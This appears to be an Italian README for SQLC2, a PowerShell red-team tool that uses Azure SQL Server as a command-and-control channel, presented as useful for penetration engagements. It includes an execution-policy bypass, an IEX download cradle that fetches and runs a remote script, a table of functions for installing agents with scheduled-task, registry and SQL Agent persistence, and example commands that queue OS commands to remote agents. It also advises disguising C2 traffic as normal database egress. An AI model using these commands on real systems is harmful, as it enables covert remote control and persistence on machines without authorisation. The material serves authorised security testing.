
SQLC2 è uno script PowerShell per distribuire e gestire un sistema di comando e controllo che utilizza SQL Server sia come server di controllo che come agente.
SQLC2 è uno script PowerShell per distribuire e gestire un sistema di comando e controllo che utilizza SQL Server sia come server di controllo che come agente. Alla base, SQLC2 è semplicemente uno script PowerShell, uno script TSQL e alcune tabelle in un'istanza SQL Server che tiene traccia di agenti, comandi e risultati. Niente di troppo sofisticato, ma potrebbe rivelarsi utile in alcuni impegni.
Per una panoramica più completa di SQLC2, consulta il blog su https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
Sempre più aziende stanno iniziando a utilizzare database SQL Server di Azure. Quando vengono create queste istanze di Azure SQL Server, vengono rese accessibili tramite un sottodominio di database.windows.net sulla porta 1433. Ad esempio, potrei creare un'istanza SQL Server denominata "mysupersqlserver.database.windows.net". Di conseguenza, alcune configurazioni di rete aziendale consentono l'accesso internet in uscita a qualsiasi sottodominio "database.windows.net" sulla porta 1433.
L'idea generale è che con la crescita dell'adozione di Azure SQL Server, ci saranno maggiori opportunità di utilizzare SQL Server come canale di controllo che assomiglia un po' al traffico normale. SQLPS è una prova di concetto piuttosto basilare, ma penso sia abbastanza funzionale per illustrare l'idea. So che ci sono molti miglioramenti da apportare, ma se finisci per giocarci, mi piacerebbe ricevere il tuo feedback.
Sebbene ci sia un'enfasi sull'utilizzo di SQLC2 con le istanze di Azure SQL Server, potresti ospitare il tuo SQL Server in qualsiasi ambiente cloud e farlo ascoltare sulla porta 443 con SSL abilitato. Quindi, potrebbe offrire un po' più di flessibilità a seconda di quanto impegno vuoi dedicarci.
Opzione 1: Scarica lo script e importalo. Questo non richiede privilegi amministrativi e verrà importato solo nella sessione corrente. Tuttavia, potrebbe essere bloccato da policy di esecuzione restrittive, quindi potresti voler utilizzare l'opzione bypass.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
Opzione 2: Caricalo in una sessione tramite una download cradle. Questo non richiede privilegi amministrativi e verrà importato solo nella sessione corrente. Non dovrebbe essere bloccato dalle policy di esecuzione.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
Nota: Per eseguire come utente di dominio alternativo, usa il comando runas per avviare PowerShell prima.
runas /noprofile /netonly /user:domain\user PowerShell.exe

Di seguito è riportato un elenco di funzioni utente che supportano i flussi di lavoro previsti.
| Nome funzione | Descrizione |
|---|---|
| Install-SQLC2Server | Installa le tabelle SQLC2 sul server/database SQL di destinazione. |
| Install-SQLC2AgentPs | Installa un agente che utilizza un processo di SQL Server Agent e un collegamento server. |
| Install-SQLC2AgentLink | Installa un agente che utilizza un'attività pianificata o una chiave di registro per eseguire comandi PowerShell. |
| Set-SQLC2Command | Imposta i comandi del sistema operativo da eseguire sugli agenti. |
| Get-SQLC2Command | Ottieni un elenco di comandi del sistema operativo in sospeso dal C2 per l'agente. Può anche eseguire il comando in sospeso con il flag -Execute. |
| Get-SQLC2Agent | Ottieni un elenco di agenti registrati sul server SQLC2. |
| Get-SQLC2Result | Ottieni un elenco di comandi in sospeso e completati. Supporta i filtri per nome server, stato e cid. |
| Remove-SQLC2Agent | Rimuovi gli agenti registrati su SQLC2. Semplicemente cancella la cronologia. |
| Remove-SQLC2Command | Rimuovi la cronologia dei comandi sul server SQLC2. |
| Uninstall-SQLC2AgentLink | Disinstalla l'agente SQLC2 che utilizza collegamenti server e un processo agente. |
| Uninstall-SQLC2AgentPs | Disinstalla tutti i metodi di persistenza basati sul sistema operativo. |
| Uninstall-SQLC2Server | Rimuovi le tabelle SQLC2 dal database di destinazione. |
Di seguito sono riportati alcuni screenshot di esempio.
Installa SQLC2 Server (Crea tabelle):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Installa agente SQLC2 (processo di SQL Server Agent che utilizza un collegamento server):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Visualizza agenti SQLC2:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Imposta comando da eseguire sull'agente:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Ottieni risultati dei comandi:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
